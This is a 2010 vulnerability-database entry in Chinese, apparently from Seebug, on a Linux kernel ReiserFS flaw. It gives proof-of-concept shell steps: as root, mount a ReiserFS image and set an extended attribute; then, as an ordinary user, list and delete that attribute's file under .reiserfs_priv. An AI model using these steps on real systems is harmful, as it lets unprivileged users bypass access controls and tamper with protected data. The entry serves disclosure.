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Linux Kernel ReiserFS文件系统实现绕过安全限制漏洞

🗓️ 12 Apr 2010 00:00:00Reported by RootType 
seebug
 seebug
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Linux Kernel ReiserFS文件系统绕过安全限制漏

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Code

                                                以root:
truncate --size 64M test.reiserfs
mkreiserfs -f test.reiserfs
mkdir /mnt/test
mount -o loop,rw,user_xattr test.reiserfs /mnt/test
setfattr -n user.test -v myvalue /mnt/test

以普通用户:
ls -l /mnt/test/.reiserfs_priv/xattrs/2.0
rm /mnt/test/.reiserfs_priv/xattrs/2.0/user.test  # Whoops
                              

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12 Apr 2010 00:00Current
7.3High risk
Vulners AI Score7.3
EPSS0.01824
40